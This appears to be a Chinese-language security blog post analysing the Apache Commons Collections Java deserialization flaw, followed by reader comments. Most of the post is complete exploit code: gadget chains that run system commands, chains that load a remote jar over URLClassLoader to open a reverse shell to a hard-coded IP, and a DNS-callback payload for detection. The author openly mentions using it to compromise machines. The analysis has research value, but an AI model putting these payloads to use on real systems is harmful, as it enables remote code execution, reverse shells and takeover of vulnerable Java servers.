JAVA Apache-CommonsCollections 序列化漏洞分析以及漏洞高级利用
漏洞原理分析该漏洞的出现的根源在CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法，并且该方法在相关对象反序列化时并未进行任何校验，新版本的修复方案对相关反射调用进行了限制。问题函数主要出现在org.apache.commons.collections.Transformer接口上，我们可以看到该接口值定义了一个方法
http://www.iswin.org/attach/transformer_interface.png
我们可以看到该方法的作用是给定一个Object对象经过转换后同时也返回一个Object，我们来看看该接口有哪些实现类
http://www.iswin.org/attach/implements-transformer.png
这些transformer的实现类中，我们一眼就看到了这里的InvokerTransformer,搞JAVA的对invoke这个词应该比较敏感,我们跟进这个实现类去看看具体的实现，
http://www.iswin.org/attach/invokeTransformer.png
我们可以看到该该方法中采用了反射的方法进行函数调用，Input参数为要进行反射的对象(反射相关的知识就不在这赘述了)，iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型，iArgs为对应方法的参数，在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
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public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
那么现在核心的问题就是寻找哪些类调用了Transformer接口中的transform方法，通过eclipse我们找到了以下类调用了该方法
http://www.iswin.org/attach/transformermap.png
这里我们可以看到有两个比较明显的类调用了transform方法，分别是
[*]LazyMap
[*]TransformedMap
LazyMap构造POC这里对于网上给出的POC使用的是LazyMap来进行构造，其实这里TransformedMap构造更为简单，因为触发条件比较简单，后面会具体分析。
这里以网上给出的POC来进行分析，毕竟大家都在用么。
这里LazyMap实现了Map接口，其中的get(Object)方法调用了transform方法，跟进函数进去
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public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这里可以看到，在调用transform方法之前会先判断当前Map中是否已经有该key，如果没有最终会由这里的factory.transform进行处理，我吗继续跟踪下facory这个变量看看该变量是再哪被初始化的，
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public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这里的decorate方法会对factory进行初始化，同时实例化一个LazyMap，到这里就比较有意思了。为了能成功调用transform方法，我们找到了LazyMap方法，发现在get()方法中调用了该方法，所以说现在漏洞利用的核心条件就是去寻找一个类，在对象进行反序列化时会调用我们精心构造对象的get(Object)方法，老外在这里找到了一个方法的确能在反序列化时触发LazyMap的get(Object)方法，老外的这种精神必须佩服！
现在重点现在转移到sun.reflect.annotation.AnnotationInvocationHandler类上，我们看看在该类进行反序列化的时候究竟是如何触发漏洞代码的。
跟进sun.reflect.annotation.AnnotationInvocationHandler的源代码
http://www.iswin.org/attach/AnnotationInvocationHandler.png
在反序列的时候程序首先会调用调用readObject这个方法,我们首先看看这个readObject方法
http://www.iswin.org/attach/readObject.png
这里的memberValues是我们通过构造AnnotationInvocationHandler 构造函数初始化的变量，也就是我们构造的lazymap对象，这里我们只需要找到一个memberValues.get(Object)的方法即可触发该漏洞，但是可惜的是该方法里面并没有这个方法。
到这里，在老外给的POC里面，有一个Proxy.newInstance(xx)的方法，很多人可能不太明白老外为什么这里需要用到动态代理，这里也就是POC的精华之处了，我们在readObject方法中并未找到lazymap的get方法，但是我们继续在sun.reflect.annotation.AnnotationInvocationHandler类里面找看看那个方法调用了memberValues.get(Object)方法，很幸运我们发现在invoke方法中memberValues.get(Object)被调用
http://www.iswin.org/attach/invoke-poc.png
这里大家应该能明白老外为什么要用动态代理来进行构造POC了，因为AnnotationInvocationHandler默认实现了InvocationHandler接口，在用Object iswin=Proxy.newInstance(classloader,interface,InvocationHandler)生成动态代理后，当对象iswin在进行对象调用时，那么就会调用InvocationHandler.invoke(xx)方法，所以POC的执行流程为map.xx->proxy(Map).invoke->lazymap.get(xx) 就会触发transform方法从而执行恶意代码。
这里的ChainedTransformer为链式的Transformer，会挨个执行我们定义的Transformer，这里比较简单，有兴趣自己去看源码就知道。
TransformedMap构造POC这里如果使用TransformedMap来进行POC的构造就非常简单了，我们跟进TransformedMap的checkSetValue方法
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protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们继续看checkSetValue被那个函数所调用，在MapEntry类中的setValue恰好调用了checkSetValue，这里直接触发了tranform函数，用TransformedMap来构造POC为什么说比LazyMap好呢，那是因为这里触发的条件比较简单，我们可以在sun.reflect.annotation.AnnotationInvocationHandler中的readObject(xxx)
http://www.iswin.org/attach/readObject.png
这里我们明显可以看到memberValue.setValue(xxx)方法，所以我们只需要构造一个不为空的TransformedMap,在AnnotationInvocationHandler.readObject(xx)事就会触发漏洞，需要注意,这里的触发的类为AnnotationInvocationHandler，在触发漏洞事会对type进行检查，所以在transformer的时候我们要讲type设置为annotation类型。所以这里POC执行流程为TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()漏洞成功触发。
利用代码
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import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* @ClassName: Main.java
* @Description: TODO
* @Author iswin
* @email admin@iswin.org
* @Date 2015年11月8日 下午12:12:13
*/
public class Main {
public static Object Reverse_Payload(String execArgs) throws Exception {
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object }),
new InvokerTransformer("exec", new Class[] { String.class },
execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload("cmd"),
"/Users/iswin/Downloads/test.bin");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
漏洞高级利用现在网上给出的poc只能执行命令或者写个文件之类的，本文将介绍一种通用的漏洞利用方法，只要服务器可以出网，就可以进行任何操作，例如反弹个shell，写文件？当然还有抓鸡等。漏洞原理什么的在上面已经分析过了，网上的POC都是调用RunTime.getRuntime().exec(“cmdxx”),很多人在问这个漏洞执行命令后能不能回显，对于回显，其实就是想办法拿到容器的response，但是非常遗憾，我在对jboss进行测试时并未找到一种方式可以获取当当前请求的response，其他容器就不清楚了，理论上只要找到一个方法可以获取到当前请求的response，那么回显就搞定了，期待有大牛来实现。
到目前为止，我们只能通过反射的方式来进行函数调用，如果要实现复杂的功能，估计构造POC会把人折磨死，所以是不是有一种通用的方法去加载我们的payload呢。
在java中有个URLClassLoader类，关于该类的作用大家自己去百度，简单说就是远程加载class到本地jvm中，说到这，我想稍微明白一点的就知道怎么做了，这里不废话了，文章写得累死了，直接给出POC吧，至于具体怎么利用，如何实现抓鸡等，明白人自然就明白。
反弹shell反弹shell的原理，通过classload从我博客远程加载一个http://www.isiwn.org/attach/iswin.jar文件，然后进行实例化，博客上的jar文件里面包含了反弹shell的脚本,将类加载到本地后实例化实例化时在构造方法中执行反弹shell的payload。
直接上代码
LazyMap的实现方式我已经对网上的poc进行了修改，修改的更加容易阅读，方便大家学习。
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package ysoserial.payloads;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1{
public InvocationHandler getObject(final String ip) throws Exception {
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://www.iswin.org/attach/iswin.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip } }),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, lazyMap);
//generate object which implements specifiy interface
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Retention.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors();
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject("10.18.180.34:8080");
//deserialize(serialize(objBefore));
File f = new File("/Users/iswin/Downloads/payloadsfinal.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
}
}
效果
http://www.iswin.org/attach/reverse.pngTransformedMap的实现方式直接上代码
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import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
/**
* @ClassName: Main.java
* @Description: TODO
* @author iswin
* @email admin@iswin.org
* @Date 2015年11月8日 下午12:12:13
*/
public class Main {
public static Object Reverse_Payload(String ip, int port) throws Exception {
final Transformer[] transforms = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
// getConstructor class.class classname
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
// newinstance string http://www.iswin.org/attach/iswin.jar
new InvokerTransformer(
"newInstance",
new Class[] { Object[].class },
new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
"http://www.iswin.org/attach/iswin.jar") } } }),
// loadClass String.class R
new InvokerTransformer("loadClass",
new Class[] { String.class }, new Object[] { "R" }),
// set the target reverse ip and port
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
// invoke
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip + ":" + port } }),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transforms);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Class cls = Class
.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload("146.185.182.237", 8090),
"/Users/iswin/Downloads/test.bin");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
// 这里为测试上面的tansform是否会触发payload
// Map.Entry onlyElement =(Entry) outmap.entrySet().iterator().next();
// onlyElement.setValue("foobar");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
漏洞检测？这里提供一个poc供大家进行检测，其实就是发送一个http请求到指定ip，然后参数中带有特定特征来判断是否存在漏洞，直接观察日志就可以了。
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package iswin;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
public class CommonsCollections1 {
public InvocationHandler getObject(final String ip) throws Exception {
final Transformer transformerChain = new ChainedTransformer(
new Transformer[] { new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URL.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { String.class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] { new String[] { ip } }),
new InvokerTransformer("openStream", new Class[] {},
new Object[] {}), new ConstantTransformer(1) };
// final Map innerMap = new HashMap();
//
// final Map lazyMap = LazyMap.decorate(new HashMap(),
// transformerChain);
// this will generate a
// AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
InvocationHandler invo = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class,
LazyMap.decorate(new HashMap(), transformerChain));
final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
.getClass().getClassLoader(), new Class[] { Map.class }, invo));
final InvocationHandler handler = (InvocationHandler) getFirstCtor(
"sun.reflect.annotation.AnnotationInvocationHandler")
.newInstance(Override.class, mapProxy);
setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name)
.getDeclaredConstructors();
ctor.setAccessible(true);
return ctor;
}
public static Field getField(final Class<?> clazz, final String fieldName)
throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static void setFieldValue(final Object obj, final String fieldName,
final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static void main(final String[] args) throws Exception {
final Object objBefore = CommonsCollections1.class.newInstance()
.getObject("http://abc.333d61.dnslog.info/tangscan/iswin.jpg");
File f = new File("/Users/iswin/Downloads/hello.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(objBefore);
out.flush();
out.close();
// Serializables.deserialize(Serializables.serialize(objBefore));
}
}
参考资料 :https://github.com/frohoff/ysoserial/
:http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss
转载 其实吧这个做成web版本多好，批量化。。 表示没看懂 学了那么久，还是没看懂多少
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